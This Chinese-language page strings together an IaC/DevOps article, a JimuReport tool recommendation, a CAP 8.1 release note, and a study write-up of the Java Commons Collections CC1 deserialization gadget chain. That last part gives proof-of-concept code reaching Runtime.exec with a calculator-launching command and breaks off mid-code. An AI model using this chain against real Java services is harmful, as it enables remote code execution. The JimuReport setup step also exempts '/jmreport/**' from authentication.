2024年4月

基础架构即代码(IaC)和 CI/CD 流水线最初似乎并不匹配。因为它们代表了两种不同的流程。IaC 主要关注基础设施的配置和开发,而 CI/CD 则围绕软件开发、测试和部署。

然而,将 IaC 集成到 CI/CD 流水线中具有多种优势。首先,
它可以将新资源调配到部署流程中
。此外,
一旦资源使用完毕,就能快速移除
,不仅节省了时间,还减少了不必要的开支。因此,将 IaC 纳入 DevOps 和 CI/CD 流水线可提高时间和成本效率,帮助企业实现高效、适应性强和可靠的软件交付并应对诸多挑战。

在本文中,我们将深入探讨 IaC 的基本原理及其优势,同时还将就其在整个软件开发和部署生命周期中有效改善体验的潜力提供有价值的见解。

什么是基础设施即代码?

基础架构即代码(IaC)可使用代码实现基础架构组件(如服务器、网络和数据库)的自动化工作流程和管理。通过在代码中确定基础架构配置,IaC 可以实现一致、可重复和受版本控制的部署和维护,从而提
高效率并减少 IT 操作中的人为错误

什么是 DevOps?

DevOps 是一种软件开发和 IT 运维方法,强调协作、自动化和持续集成与交付(CI/CD),以简化软件开发生命周期。它旨在
打破开发和运维团队之间的孤岛
,促进更快、更可靠的软件发布,并改善开发过程中的沟通和效率。

什么是持续集成和持续部署(CI/CD)?

持续集成和持续交付(CI/CD)I是软件开发中使用的一套实践和工具。CI 包括将代码更改显著集成到共享存储库中,运行自动测试以在开发周期早期发现问题。CD 通过将交付流程自动化,将软件变更更快、更可靠地部署到生产环境中,对其进行了扩展。这种方法提高了开发速度、质量和协作。

IaC 在 DevOps 和 CI/CD 中的作用

将 IaC 运用到 DevOps 和 CI/CD 中具有各种优势,能有效解决企业在软件开发和部署过程中遇到的常见问题。让我们探讨一下 IaC 在这些领域中发挥的关键作用:

一致性和可重复性

IaC 以统一和可重现的方式保证基础设施环境的基础。通过将基础架构配置确定为代码,可以消除因手动设置而产生的问题,减少错误数量,实现高效的部署环境。不过,为了防止开发、测试和生产环境之间的不一致造成的复杂问题,实施统一性也很重要。

基础设施自动化

自动化是 IaC 的一个主要方面,是
其核心原则
。它提供无缝、高效的基础设施资源调配、配置和管理。这将提高部署流程的效率,减少对人工任务的依赖。因此,团队有能力优先考虑编码和优化等更有价值的资源。

版本控制

IaC 利用版本控制系统的强大功能,让您能够实时跟踪对基础设施配置所做的更改。这使您有能力在出现任何复杂情况时毫不费力地恢复到早期版本。
它有助于提高透明度和问责制,并促进基础设施管理工作流程中的协作

可扩展性和灵活性

IaC 使企业能够根据需要无缝扩展基础设施的规模。在工作负载可能迅速变化的动态环境中,这种能力至关重要。通过采用 IaC,企业可以轻松适应不断变化的需求,优化资源利用率并提高成本效益。

测试和验证

它有助于对基础设施配置进行自动测试和验证。通过将测试和检查转化为代码,可以在开发过程的早期阶段发现潜在问题。因此,
它能确保基础设施的可靠性和统一性
。这种方法对于提供更高质量的软件和减少系统停机时间至关重要。

安全性与合规性

安全性和合规性在软件开发领域发挥着重要作用。基础设施即代码(IaC)的实施使企业能够编纂和执行严格的安全策略和合规要求,从而降低与其他问题相关的潜在风险。

协作与沟通

IaC 可促进参与软件交付流程的各利益相关方(包括开发、运维和其他团队)之间的有效协作
。它通过使用共享的、受版本控制的代码来改善沟通,这些代码可作为所有参与方的共同语言。IaC 的这种无缝集成促进了高效的团队合作和有价值的信息交流。

不可变的信息

它提倡不可变基础设施的概念,即基础设施元素保持不变,需要更改时随时更换。这种方法提高了安全性和可预测性,简化了回滚过程,从而促进了问题的管理和解决。

在 DevOps 和 CI/CD 中使用 IaC 的 5 大好处

在 DevOps 和 CI/CD 流水线中采用 IaC 可以带来许多好处,这些好处对现代软件开发和部署流程非常重要。下面我们就来探讨一下这些优势:

改善协作

通过将 IaC 纳入 DevOps 和 CI/CD,您可以在不同的团队(包括开发、运维和 QA)之间营造协作氛围。通过使用代码来阐明基础架构,
所有人员都能使用共同的语言,并清楚地了解环境的先决条件
。这种包容性的环境可以培养有效的协作、减少障碍并加快决策过程。

通过自动化提高效率

通过自动配置和管理基础设施,极大地提高了工作效率。耗时的重复性任务现在可以通过快速部署基础设施来高效执行,从而降低人为错误的风险,腾出大量时间来实现开发和优化目标。

高质量软件开发周期

IaC 可以更快地访问必要的基础设施,从而优化软件开发生命周期。
它使开发人员能够专注于编码和测试,消除了环境设置缓慢带来的不便
。这可提高效率,从而加快开发周期,缩短产品和功能的上市时间。

标准化环境和安全性

这是一个重要的框架,可在整个开发和部署过程中促进统一性并增强安全性。通过代码定义基础设施,
它消除了临时配置和不可靠配置的可能性
。这种标准化方法可有效降低漏洞和合规相关风险,确保所有环境,无论是开发还是生产流程,都严格遵守行业最佳实践和安全标准。

提高可扩展性

实施 IaC 的主要优势之一是能够毫不费力地扩展基础设施资源。通过利用 IaC,企业可以根据不断变化的工作负载调整资源,从而提高性能优化和减少运维体验。在当今需求快速波动的环境中,这种固有的可扩展性被证明是一种宝贵的资产。

总结

因此,在考虑 DevOps 和 CI/CD 时,IaC 不仅仅是一个工具,而且是一个可以增强软件开发和部署过程的战略组件。IaC 使组织能够敏捷、灵活地开发、监控和扩展其基础设施,同时缓解问题。

Walrus 致力于提供可自服务的 IaC,通过 IaC 技术简化 DevOps 流程并提升效率。它集成了 OpenTofu、Terraform 等 IaC 工具,使开发者和运维团队能够轻松地自动化管理和编排整个应用系统,包括应用服务和资源依赖关系。并且 Walrus 独特的“资源定义”抽象层将 IaC 模板、匹配规则、预设参数和 UI 架构整合在一起,让基础设施配置更清晰、易于管理,并支持开发者自助部署满足各种需求的基础设施,助力企业实现高效的软件交付和运维。了解更多详情请查看Walrus 开源地址:
https://github.com/seal-io/walrus

这是一种变革性的实践,
与 DevOps 和 CI/CD 的核心方面无缝集成,强调了对速度、质量和协作策略的需求
。甚至还可实现无缝、更高效、无错误的工作流程,从而实现软件改进。

IaC 与 DevOps 和 CI/CD 流程紧密结合,能够实现高效、高质量的软件交付。通过自动化基础设施管理,IaC 减少了人工操作和错误,加快了软件开发和部署速度,并促进了团队之间的协作。这最终帮助企业交付更可靠、更稳定的软件产品。

大家好,我是狂师!

今天给大家推荐一款免费的数据可视化报表设计工具:
JimuReport
,类似excel操作风格,在线拖拽完成报表设计!项目号称:
功能永久免费、可以商用、永久免费使用!

1、JimuReport介绍

JimuReport是北京国炬信息技术有限公司旗下的平台,是一款免费的数据可视化报表工具,主要用于报表和大屏设计。用户可以通过在线拖拽的方式,像搭建积木一样设计报表,

功能涵盖: 报表设计、图形报表、打印设计、大屏设计等,完全免费!秉承“简单、易用、专业”的产品理念,极大的降低报表开发难度、缩短开发周期、解决各类报表难题。

项目地址:

https://github.com/jeecgboot/JimuReport

以下是JimuReport的主要特点:

  • 低代码开发
    :它采用了纯Web在线技术,可以快速集成到SpringBoot的脚手架项目中,只需引入依赖即可。用户无需编写大量代码,即可快速制作各种报表,大大降低了报表开发的难度,缩短了开发周期。
  • 支持多种数据源
    :JimuReport支持多种主流数据库,如Oracle、MySQL、SQLServer、PostgreSQL等,同时支持SQL和API两种数据获取方式,可以方便地获取和展示各种数据。
  • 丰富的图表样式
    :它支持ECharts图表库,提供了28种图表样式,可以实现数据可视化的效果,使数据更易于理解和分析。
  • 专业强大的报表功能
    :它支持各种复杂的报表功能,如分组、交叉、合计、表达式、参数、数据字典、预警、数据钻取等,可以满足各种业务场景的需求。
  • 智能高效
    :它支持自动计算合计、小计等函数,支持系统自动保存数据和手动恢复数据,支持导入导出Excel和PDF格式,支持快速精准打印和套打等功能,提高了报表制作和使用的效率。

综上所述,JimuReport以其低代码、易操作、功能强大、支持多种数据源和丰富的图表样式等特点,为用户提供了一个高效、便捷的数据可视化报表解决方案。无论是企业还是个人,都可以通过JimuReport轻松制作各种报表,实现数据的可视化和分析,从而更好地理解和利用数据。

2、多种数据库支持

支持含常规、国产、大数据等28种数据库

未提供脚本的数据库,可以参考:
https://my.oschina.net/jeecg/blog/4905722
文档自己转。

3、项目快速集成

前提:采用SpringBoot2的脚手架项目都可以集成JimuReport。

1、第一步:引入JimuReport依赖
SpringBoot2+JDK8 版本

<dependency>
  <groupId>org.jeecgframework.jimureport</groupId>
  <artifactId>jimureport-spring-boot-starter</artifactId>
  <version>1.7.2-beta</version>
</dependency>

mogodb/redis支持包(按需添加)

<dependency>
    <groupId>org.jeecgframework.jimureport</groupId>
    <artifactId>jimureport-nosql-starter</artifactId>
    <version>1.6.0</version>
</dependency>

通过
http://jimureport.com/doc/log
查询最新版本号

SpringBoot3+JDK17 版本

<dependency>
  <groupId>org.jeecgframework.jimureport</groupId>
  <artifactId>jimureport-spring-boot3-starter-fastjson2</artifactId>
  <version>1.7.2-beta</version>
</dependency>

2、第二步:初始化Sql脚本

jimureport.mysql5.7.create.sql

初始化SQL及项目配置具体可参考:
https://help.jeecg.com/jimureport/quick.html

3、第三步:排除权限拦截

//积木报表排除
filterChainDefinitionMap.put("/jmreport/**", "anon");

4、第四步:访问积木报表

访问地址: {项目前缀}/jmreport/list

4、Docker独立部署

如果不想和项目集成,也可以选择独立安装部署,此处建议采用Docerk方式,具体操作如下:

第一步:下载项目

git clone https://gitee.com/jeecg/JimuReport.git

第二步:进入项目 jimureport-demo 根目录

cd JimuReport/jimureport-example

第三步:maven执行package

mvn clean package

第四步:执行命令,生成镜像

docker-compose up -d

第五步:访问报表

http://localhost:8085/jmreport/list

5、设计效果

炫酷的大屏效果

大屏设计器支持几十种图表样式,可自由拼接、组合,设计炫酷大屏

使用场景丰富

可设计各种类型的单据、大屏,如出入库单、销售单、财务报表、合同、监控大屏、旅游数据大屏等

6、更多资料参考

  • 免费在线地址:
    http://jimureport.com/login
  • 使用文档参考:
    https://help.jeecg.com/

感兴趣的可以去项目地址进行详细了解。

前言

我们很高兴宣布 CAP 发布 8.1 版本正式版,我们在这个版本中主要是添加了一些新的配置项支持,并且根据用户反馈做了一些功能调整,同时在这个版本开始默认禁用了从7.2版本引入的并行发布消息。

下面,具体看一下我们新版本的功能吧。

总览

可能有些人还不知道 CAP 是什么,老规矩来一个简介。

CAP
是一个用来解决微服务或者分布式系统中分布式事务问题的一个开源项目解决方案(
https://github.com/dotnetcore/CAP
)同样可以用来作为 EventBus 使用,该项目诞生于2016年,目前在 Github 已经有超过 6400+ Star 和 110+ 贡献者,以及在 NuGet超 700 万的下载量,并在越来越多公司的和项目中得到应用。

如果你想对 CAP 更多了解,请查看我们的
官方文档

本次在 CAP 8.1 版本中我们主要带来了以下新特性:

  • 新增支持 EnablePublishParallelSend 配置项
  • 允许Mongo启用事务时指定Session Handle
  • 过滤器上下文参数添加 MediumMessage
  • 异步开启事务发送消息API
  • AzureServiceBus 支持配置 Correlation header
  • PostgreSql 中使用 DataSource 配置连接
  • NATS添加新的配置项
  • 破坏性改动
    • 移除 NATS DeliverPolicy 配置项
    • 发布消息默认行为调整为串行发布

新增支持 EnablePublishParallelSend 配置项

我们在7.2版本中,添加了消息发布任务由.NET线程池管理的功能,这个特性在发送侧默认启用。由于.NET线程池中执行任务是并行执行的这并不会保证任务的执行顺序,所以这会导致一个问题就是在某些场景中用户希望串行发送保证消息以保证顺序,使用线程池的话无法保证做到这一点。

所以我们在这个版本中恢复了串行发送消息的默认行为,并提供了新的配置项
EnablePublishParallelSend
来开启并行发送消息。

BTW, 消费侧同样引入了线程池,同样没有默认开启,可以通过
EnableConsumerPrefetch
来启用,这样所有的消费者都将并行执行。

添加 Mongo 启用事务时指定 SessionHandle 扩展

在这个版本中,我们添加了一个新的重载允许使用Mongo存储在开启事务时,传递
IClientSessionHandle
参数。
IClientSessionHandle
相当于关系数据库中的 DbTransaction,这在你想精确控制事务的场景提供更多灵活性。

public static IClientSessionHandle StartTransaction(this IMongoClient _,
    IClientSessionHandle clientSessionHandle,
    ICapPublisher publisher, bool autoCommit = false)
{
    // 。。。
}

感谢
@shkarface
对此做出的贡献。

过滤器上下文参数添加 MediumMessage 允许更多可能性

我们在过滤器上下文
ConsumerContext
中,添加了新的
MediumMessage
参数对象。
MediumMessage
这个对象是CAP内部用于和数据库进行映射的对象,一般用户不需要关心。

在这个版本中,我们添加此参数的主要原因是用户可以通过此参数来对消费者执行过程进行更多控制行为,例如可以根据已完成重试来控制重试次数或者在某些情况禁用重试等。

感谢
@bschwehn
对此做出的贡献。

异步开启事务发送消息API

ICapPublisher
接口中的
Transaction
对象现在不再由
AsyncLocal<T>
进行包装,而是直接是
ICapTransaction
对象,受影响的地方为自定义事务扩展方法。只需简单的将
publisher.Transaction.Value =xxx
修改为
publisher.Transaction= xxx
即可。

我们在本版本重新支持了异步开始事务的拓展方法支持
BeginTransactionAsync
,以下是简单示例。

using (var connection = new MySqlConnection(ConnectionString))
{
    using var transaction = await connection.BeginTransactionAsync(_capBus, true);
    await connection.ExecuteAsync("insert into test(name) values('test')", transaction: (IDbTransaction)transaction.DbTransaction);
    await _capBus.PublishAsync("sample.rabbitmq.mysql", DateTime.Now);
}

Azure ServiceBus 支持配置 correlation header

我们为AzureServiceBus添加了新的支持选项
DefaultCorrelationHeaders
,该配置项允许用户设置 correlation过滤器,你可以在这里查看
详细信息

感谢
@demorgi
对此做出的贡献。

PostgreSql 中使用新的 NpgsqlDataSource 配置项以支持动态密码

由于在Postgres中直接使用 Connection 连接字符串不支持设置动态密码,在一些情况下为了安全需要定期更新密码,所以为了支持这个功能,我们支持了使用
来配置数据库连接,来支持动态更新密码。

同时使用 NpgsqlDataSource 来配置数据库连接也是 NpgSql 8.0 版本后的推荐做法。

感谢
@jonekdahl
对此做出的贡献。

NATS 添加新的配置项

我们为 NATS 提供了新的配置项允许更加精细的控制在创建 Consumer 连接时候的选项,下面的新增的2个配置项。

StreamOptions
用于创建 Stream 时指定的设置项, Stream相当于是消息的存储介质,你可能在创建的时候设置持续时间、大小、副本等,你可能在这里
查看更多
可能的配置项。

ConsumerOptions
用于指定消费者创建时的相关参数,你可以在这里
查看更多
可能的配置项。

破坏性改动

移除 NATS DeliverPolicy 配置项

由于 NATS 添加了新的配置项,所以原本归属于 ConsumerOptions中的配置项已经被移除。你可以通过ConsumerOptions来设置。

发布消息默认行为调整为串行发布

从 7.2 版开始,为了提高发布方面的性能,我们让 .NET 线程池负责处理消息发布。不过,由于线程池中的任务不能保证按顺序执行,而且确保线性发布在某些用例中很有意义,因此我们将从本版本开始恢复线性发布。

同时,我们还引入了一个新选项
EnablePublishParallelSend
,允许用户启用并行消息发送功能。

总结

以上,就是本版本我们做出的一些新特性和改动,感谢大家的支持,我们很开心能够帮助到大家 。


大家在使用的过程中遇到问题希望也能够积极的反馈,帮助CAP变得越来越好。

跟着看了白日梦组长的视频,记录一下调试学习过程

CC1链学习

TransformedMap链

ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                MapEntry.setValue()
                    TransformedMap.checkSetValue()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {


    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}


寻找序列化的方法

首先我们先定义入口点

作者刚开始是发现了在CommonsCollections这个包里有一个Transformer类,就是下面图片这里

public interface Transformer {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    public Object transform(Object input);

}
public interface Transformer:声明了一个公开的接口 Transformer。
public Object transform(Object input);:这个接口内定义了一个名为 transform 的方法,这个方法是公开的,接受一个 Object 类型的参数,并返回一个 Object 类型的结果。

然后接下来我们看一下Transformer的实现类都怎么去做

这里我们注意一个叫做ConstantTransformer的实现类,这里埋下一个伏笔,后面要考

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }
这段代码定义了一个名为 ConstantTransformer 的类,它的作用是不管提供什么输入,都返回一个预先设定的常量值。这个类包含一个构造函数和一个transform方法:
1. 构造函数:当创建 ConstantTransformer 类的实例时,需要提供一个参数constantToReturn,这个参数指定了无论何时调用 transform` 方法都会返回的常量值。
2. transform 方法:这个方法实现了Transformer接口或继承自某个具有 `transform` 方法的类。该方法忽略传入的参数input,而是返回在构造函数中设定的iConstant常量。

然后解下来我们主要说的是InvokerTransformer这个类的方法,也就是漏洞点,也就是下面这段代码,这里的内容可以被控制,是一个任意方法调用。

这里有点像一个后门的写法,因为,它通过反射机制调用输入对象上的指定方法,然后返回结果。由于这种能力允许执行任何对象的任何方法,这可能被滥用,尤其是在不受信任的数据输入的情况下,这也是为什么它可能看起来像是一个潜在的“后门”。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

主要代码在这里

public Object transform(Object input) {
    if (input == null) {
        return null;                // 如果输入为null,直接返回null,不做任何处理
    }
    try {
        Class cls = input.getClass(); // 获取输入对象的类
        Method method = cls.getMethod(iMethodName, iParamTypes); // 根据存储的方法名和参数类型,反射获取相应的Method对象
        return method.invoke(input, iArgs); // 使用反射,调用该方法,并传入参数
    }

这里也就是危险方法存在的点

我们首先用Runtime这个方法尝试弹出一个计算器实验一下,以下是poc

public class CC1Test {
    public static void main(String[] args) throws Exception{
        Runtime.getRuntime().exec("open -a Calculator");
    }

然后我们尝试通过反射调用,来执行计算器尝试一下,可以看到成功执行了命令

import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception{
//        Runtime.getRuntime().exec("open -a Calculator");
        Runtime r = Runtime.getRuntime();
        Class c = Runtime.class;
        Method execMethod = c.getMethod("exec", String[].class);
        String[] commands = {"open","-a","Calculator"};
        execMethod.invoke(r,(Object) commands);

    }


    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

现在我们修改成InvokerTransformer这种方法方式,首先它需要调用这个tranform这个方法,这个方法接受一个对象

接下来我们再看一下这个构造参数的写法,参数名、参数类型、参数值

所以我们要这么写

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}).transform(r);

然后我们执行一下看看,成功弹出计算器

现在我们就要回头去寻找,在一个不同的类里面找到一个不同的方法,这里我们已经找到了InvokerTransformer.transform调用了这个方法,执行到了危险方法,然后我们现在往回找谁的类里面调用了transformer方法。

我们跟进transformer方法


通过IDEA的findUsages查看调用

找到下面的TransformedMap类里的checkSetValue方法调用了tranformer

看到这里的valueTransformer调用了transform方法,我们直接看一下构造函数

我们直接看一下构造函数,这是一个protected,也就是说这个方法需要被自己调用,接受一个map进来,然后分别对key和value做处理

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer)

  这个构造方法的目的是创建一个新的 TransformedMap 实例,该实例会在添加或检索键值对时应用指定的转换器。这种映射特别有用在需要自动转换键或值的场景中,例如,自动去除字符串键的空格,或者将所有输入的数值增加一定的倍数等。

因为TransformedMap是一个受保护的,所以我们看一下是谁调用了这个TransformedMap函数,然后我们找呀找,就找到了这个decorate

静态方法,里面调用了TransformedMap方法

然后我们可以在这个decorate静态方法位置,尝试在进行一次命令执行,看是否可以成功

我们最终是想通过调用checkSetValue里面的valueTransformer然后再调用transformer,我们再看上面decorate第三个接受的参数是valueTransformer

由于需要执行命令,我们就可以将valueTransformer这里替换成InvokerTransformer,也就是传入可以执行命令的这个危险方法,所以代码要这么写

 InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"});
        invokerTransformer.transform(r);
				//就会调用invokerTransformer.transform(r)方法;
        HashMap<Object,Object> map = new HashMap<>();
        TransformedMap.decorate(map,null,invokerTransformer);
    }

将创建的实例传入给TransformedMap.decorate第三个参数,也就是invokerTransformer

然后这里的value,还需要我们可以控制,但是我们现在不确定是否可以控制

然后我们看一下哪里调用了checkSetValue方法,继续findUSages

这里只有一处调用了checkSetValue方法,也就是TransformedMap的父类AbstractInputCheckedMapDecorator

这里有一个MapEntry类,调用了checkSetValue方法,我们这里先尝试理解一下,首先在Demo里添加代码,这里是一个遍历map的写法

map.put("key","value");
for (Map.Entry entry : map.entrySet()){
            entry.getValue();
        }

然后我们可以看到这里的setValue,其实就是重写了entry里的setValue方法

我们可以自己进入到Map接口里看一下

正常来讲,我们只需要去遍历TransformedMap这个里面的Map方法,就可以走到下面的checkSetValue方法,

就是这里

转而就可以走到AbstractInputCheckedMapDecorator里的setValue方法里去,然后就可以去调用chekSetValue里去

也就是这里就可以走到TransformerdMap里的checkSetValue里去,也就可以走到InvokerTransformer这个类里的我们刚开始的那个危险方法transform里去,就是那个类似后门的方法

所以我们现在就尝试遍历Map

然后我们现在就遍历好了,这里的setValue就调用了父类的setValue,然后会调用到chekSetValue,就是这个流程

可以看到已经能够成功的执行了

半条链的POC如下

import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception{
//        Runtime.getRuntime().exec("open -a Calculator");
        Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String[].class);
//        String[] commands = {"open","-a","Calculator"};
//        execMethod.invoke(r,(Object) commands);

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"});
        invokerTransformer.transform(r);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,invokerTransformer);

        for (Map.Entry entry : transformedmap.entrySet()){
            entry.setValue(r);
        }
    }

    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这里我们可以下断点调试一下,看一下调用

当到了transform这里,回跳到刚开始的危险方法,即可执行命令,可以看到这里有一个exec,然后继续调

到这里invokerTransformer.transform(r);,就会执行我们刚开始获取的Runtime对象,然后继续调

到了遍历数组的地方,然后到最后返回setValue的地方

下来就会跳到AbstractInputCheckedMapDecorator类中的setValue方法里,然后就会调用chekSetValue方法

然后就会跳到TransformerdMap类里的chekSetValue方法里,然后就会返回valueTransformer的transform方法

然后就会继续跳到最开始我们发现的那个危险方法里去

然后到最后进行反射调用的时候,就会调用我们的exec,执行计算器命令

成功执行

然后我们继续回去接着寻找再往前的调用链,再回到AbstractInputCheckedMapDecorator类里的setValue里,继续findUsages大法

然后我们的思路还是寻找不同名字的setValue的地方,最好现在是找谁的readObject里调用了setValue

然后就发现了AnnotationInvocationHandler类里的readObject有一个遍历Map的功能,调用了setValue

然后我们去看一下构造函数

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {

这个构造函数里有Map<String, Object> memberValues,因为是Map,所以我们可以将我们构造好的这个 TransformedMap.decorate传入进去

也就是TransformedMap里的decorate

开始尝试编写POC,注意Annotation就是注解的意思,接下来尝试实例化

import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception{
//        Runtime.getRuntime().exec("open -a Calculator");
        Runtime r = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec", String[].class);
//        String[] commands = {"open","-a","Calculator"};
//        execMethod.invoke(r,(Object) commands);

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"open -a Calculator"});
        invokerTransformer.transform(r);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,invokerTransformer);

//        for (Map.Entry entry : transformedmap.entrySet()){
//            entry.setValue(r);
//        }

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationinvocationhandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationinvocationhandlerConstructor.setAccessible(true);
        Object o = annotationinvocationhandlerConstructor.newInstance(Override.class,transformedmap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    //
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

但是现在我们有一个问题,因为我们在setValue里要传一个Runtime对象r,但是

但是Annotationinvocationhandler里的setValue的对象是,我们现在无法控制
new AnnotationTypeMismatchExceptionProxy(
    value.getClass() + "[" + value + "]").setMember(
        annotationType.members().get(name)));

第二个问题就是Runtime对象我们无法序列化,因为它没有实现序列化接口,所以我们必须进行反射

而且我们还要满足Annotationinvocationhandler类里的两个if判断

if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy))

我们现在先解决不能序列化的问题

虽然Runtime不能序列化,但是它的元型是可以序列化的

Runtime.getRuntime();
Class c = Runtime.class;

Class c = Runtime.class;
            Method getRuntimeMethod = c.getMethod("getRuntime",null);
            Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
            Method execMethod = c.getMethod("exec", String[].class);
            String[] commands = {"open","-a","Calculator"};
            execMethod.invoke(r,(Object) commands);

这里就成功的将Runtime.getRuntime.exec()这个给通过反射,后期可以进行序列化和反序列化,下面实现InvokerTransformer,和之前差不多

这里就是写完,通过查看getMetho传参,可以实现的就是代替

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Method getRuntimeMethod = c.getMethod("getRuntime",null);

然后同上查看invoke方法的传参,继续修改。

Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);

说白了就是通过之前危险方法写的调用链

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
实现了
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
实现了
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);

现在修改完的POC如下,也可以正常执行命令了

import com.sun.xml.internal.ws.api.model.MEP;

import java.lang.invoke.MethodHandle;
import java.lang.reflect.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
